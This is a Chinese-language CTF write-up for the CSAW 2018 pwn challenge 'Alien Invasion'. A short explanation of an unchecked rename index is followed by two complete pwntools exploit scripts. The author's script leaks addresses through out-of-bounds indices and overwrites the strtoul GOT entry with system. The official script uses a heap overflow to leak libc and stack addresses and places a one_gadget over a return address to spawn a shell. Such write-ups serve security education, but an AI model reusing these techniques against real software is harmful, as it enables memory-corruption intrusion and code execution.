Alien Invasion | 数据越界
Construct additional pylons
改名的时候未检查输出索引值的大小,因此可正可负,可以随意越界,从而构造内存泄露地址,最终改GOT表值,将strtol
的值改为system
,获取shell。
不过感觉这题非预期了
个人解法¶
#!/usr/bin/env python2 # coding: utf-8 # Usage: ./exploit.py -r/-l/-d from pwn import * import argparse import itertools IP = "pwn.chal.csaw.io" PORT = 9004 # IP = "127.0.0.1" # PORT = 8000 context.log_level = 'DEBUG' context.terminal = ['tmux', 'splitw', '-h'] BIN = "./aliensVSsamurais" def r(x): return io.recv(x) def ru(x): return io.recvuntil(x) def rud(x): return io.recvuntil(x, drop=True) def se(x): return io.send(x) def sel(x): return io.sendline(x) def pick32(x): return u32(x[:4].ljust(4, '\0')) def pick64(x): return u64(x[:8].ljust(8, '\0')) parser = argparse.ArgumentParser() parser.add_argument('-d', '--debugger', action='store_true') parser.add_argument('-r', '--remote', action='store_true') parser.add_argument('-l', '--local', action='store_true') args = parser.parse_args() # context.binary = args.binary # this just hangs??? io = None # this is global process variable binary = ELF(BIN) if args.remote: context.noptrace = True io = remote(IP, PORT) libc = ELF("./libc-2.23.so") elif args.local or args.debugger: io = process(BIN) proc_base = io.libs()[ "/home/vagrant/DongFeng/CSAW18/pwn/alien_invasion/aliensVSsamurais"] libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc-2.23.so'] libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") else: parser.print_help() exit() if args.debugger: gdb.attach(io, ''' aslr off b *0x{:x} b *0x{:x} c '''.format( proc_base+0x0000000000000D39, # call gets proc_base+0x0000000000000DAD, # call read # libc_bb + one_gg ) ) ## create two samurai rud("Daimyo, nani o shitaidesu ka?") sel("1") rud("What is my weapon's name?") sel("A"*7) rud("Daimyo, nani o shitaidesu ka?") sel("1") rud("What is my weapon's name?") sel("B"*7) rud("Daimyo, nani o shitaidesu ka?") sel("1") rud("What is my weapon's name?") sel("C"*7) # break rud("Daimyo, nani o shitaidesu ka?") sel("3") rud("Brood mother, what tasks do we have today.") sel("1") rud("How long is my name?") sel(str(0x60)) rud("What is my name?") sel("B"*0x5f) rud("Brood mother, what tasks do we have today.") sel(str(3)) rud("Brood mother, which one of my babies would you like to rename?") sel(str(-10)) rud("Oh great what would you like to rename ") data = rud("\n").strip()[:-4].ljust(8, "\x00") data = u64(data) bin_base = data - 0x0202070 binary.address = bin_base print "leaked bin base: ", hex(bin_base) io.send("\x70") rud("Brood mother, what tasks do we have today.") sel(str(3)) rud("Brood mother, which one of my babies would you like to rename?") sel(str(400)) rud("Oh great what would you like to rename ") sel(p64(binary.address + 0x0000000000202700 + 8)) rud("Brood mother, what tasks do we have today.") sel(str(3)) rud("Brood mother, which one of my babies would you like to rename?") sel(str(401)) rud("Oh great what would you like to rename ") sel(p64(binary.got["__libc_start_main"])) rud("Brood mother, what tasks do we have today.") sel(str(3)) rud("Brood mother, which one of my babies would you like to rename?") sel(str(200)) rud("Oh great what would you like to rename ") data = rud("\n").strip()[:-4].ljust(8, "\x00") # print data, data.encode("hex") data = u64(data) libc_base = data - libc.symbols["__libc_start_main"] libc.address = libc_base print "leaked libc base: ", hex(libc.address) io.send("\x40") rud("Brood mother, what tasks do we have today.") sel(str(3)) rud("Brood mother, which one of my babies would you like to rename?") sel(str(401)) rud("Oh great what would you like to rename ") sel(p64(binary.got["strtoul"])) rud("Brood mother, what tasks do we have today.") sel(str(3)) rud("Brood mother, which one of my babies would you like to rename?") sel(str(200)) rud("Oh great what would you like to rename ") io.send(p64(libc.symbols["system"])) rud("Brood mother, what tasks do we have today.") sel("/bin/sh\x00") io.interactive()
官方解法¶
import argparse import random from pwn import * parser = argparse.ArgumentParser() parser.add_argument('-d', '--debugger', action='store_true') parser.add_argument('-p', '--port') parser.add_argument('-r', '--remote') parser.add_argument('-e', '--elf') parser.add_argument('-b', '--binary') args = parser.parse_args() context.terminal = '/bin/bash' context.log_level = 'debug' # this is a brute wew # context.binary = args.binary # this just hangs??? p = None # this is global process variable e = None b = None if args.elf: e = ELF(args.elf) if args.remote: p = remote(args.remote, args.port) # TODO: add a remote service URI here elif args.binary: p = process(args.binary) else: parser.print_help() exit() if args.debugger: if args.remote: print("You can't attach a debugger to a remote process") else: gdb.attach(p) # if in vagrant just run gdb and attach it. # TODO: Setup enough samurais to beat the final alien def create_sam(): p.recvuntil('ka?\n') p.sendline(str(1)) p.recvuntil('name?\n') p.sendline('A' * 0x8) def kill_sam(index): p.recvuntil('ka?\n') p.sendline(str(2)) p.recvuntil('daimyo?\n') p.sendline(str(index)) SAMURAIS = 40 for i in range(SAMURAIS): create_sam() # we make room for aliens in the heap to exist. unkillable = [3, 4, 6, 7, 9, 13, 14, 16] for i in range(9 + len(unkillable)): if i in unkillable: continue kill_sam(i) p.recvuntil('ka?\n') p.sendline(str(3)) # TODO: Alien => alien => libc leak def create_alien(size, data): p.recvuntil('today.\n') p.sendline(str(1)) p.recvuntil('name?\n') p.sendline(str(size)) p.recvuntil('name?\n') p.send(data) def kill_alien(index): p.recvuntil('today.\n') p.sendline(str(2)) p.recvuntil('mother?\n') p.sendline(str(index)) def rename_alien(index, data): p.recvuntil('today.\n') p.sendline(str(3)) p.recvuntil('rename?\n') p.sendline(str(index)) p.recvuntil('to?') p.send(data) create_alien(0xf8, 'A' * 0xf7) # 0 killed create_alien(0x200, 'B' * 0x1f0 + p64(0x210)[:-1]) # 1 killed create_alien(0xf8, 'C' * 0xf7) # 2 killed create_alien(0xf8, 'D' * 0xf7) #3 kill_alien(0) # kill and overwrite to overflow kill_alien(1) create_alien(0xf8, 'E' * 0xf8) # 4 => overflows and misaligns C's prev_size field. create_alien(0xf8, 'F' * 0xf7) # 5 killed create_alien(0x80, 'G' * 0x7f) # 6 kill_alien(5) kill_alien(2) create_alien(0xf8, 'H' * 0xf7) # 7 create_alien(0x80, 'I' * 0x79) # 8 killed kill_alien(8) p.recvuntil('today.\n') p.sendline(str(3)) p.recvuntil('rename?\n') p.sendline(str(6)) # rename the libc leak p.recvuntil('rename ') leak = p.recvuntil('to?\n') leak = leak.strip(' to?\n') leak = u64(leak + '\x00' * (8 - len(leak))) print('LEAK: ' + hex(leak)) print(hex(e.symbols['puts'])) main_arena_plus_88 = 0x3c4b78 libc_base = leak - main_arena_plus_88 free_hook = libc_base + e.symbols['__free_hook'] environ = libc_base + e.symbols['environ'] one_gadget = libc_base + 0x45216 p.send(p64(leak)[:-1]) create_alien(0x200, 'J' * 0xf7) # 9 to reset the heap create_alien(0xf8, 'a' * 0xf7) # 10 killed create_alien(0x200, 'b' * 0x1f0 + p64(0x210)[:-1]) # 11 killed create_alien(0xf8, 'c' * 0xf7) # 12 killed create_alien(0xf8, 'd' * 0xf7) #13 kill_alien(10) # kill and overwrite to overflow kill_alien(11) create_alien(0xf8, 'e' * 0xf8) # 14 => overflows and misaligns C's prev_size field. create_alien(0xf8, 'f' * 0xf7) # 15 killed create_alien(0x200, 'g' * 0x1ff) # 16 this will be stuck into the "modified" position DO NOT KILL kill_alien(15) kill_alien(12) payload = 'h' * 0xf8 payload += p64(0x21) payload += p64(environ) payload += p64(0x9)[:-1] create_alien(len(payload) + 1, payload) # 17 p.recvuntil('today.\n') p.sendline(str(3)) p.recvuntil('rename?\n') p.sendline(str(16)) p.recvuntil('rename\x20') leak = p.recvuntil(' to?\n') leak = leak.strip(' to?\n') stack_leak = u64(leak + '\x00' * (8 - len(leak))) p.send(p64(stack_leak)[:-1]) print('Environ: ' + hex(stack_leak)) kill_alien(17) ret_offset = -336 print("Return address overwrite:" + hex(stack_leak + ret_offset)) payload = 'h' * 0xf8 payload += p64(0x21) payload += p64(stack_leak + ret_offset) payload += p64(0x9)[:-1] create_alien(len(payload) + 1, payload) # 18 in 17's place rename_alien(16, p64(one_gadget)[:-1]) # print("Puts (for reference): " + hex(libc_base + e.symbols['puts'])) # print('Free hook: ' + hex(free_hook)) # print('One Gadget: ' + hex(one_gadget)) # pause() p.interactive()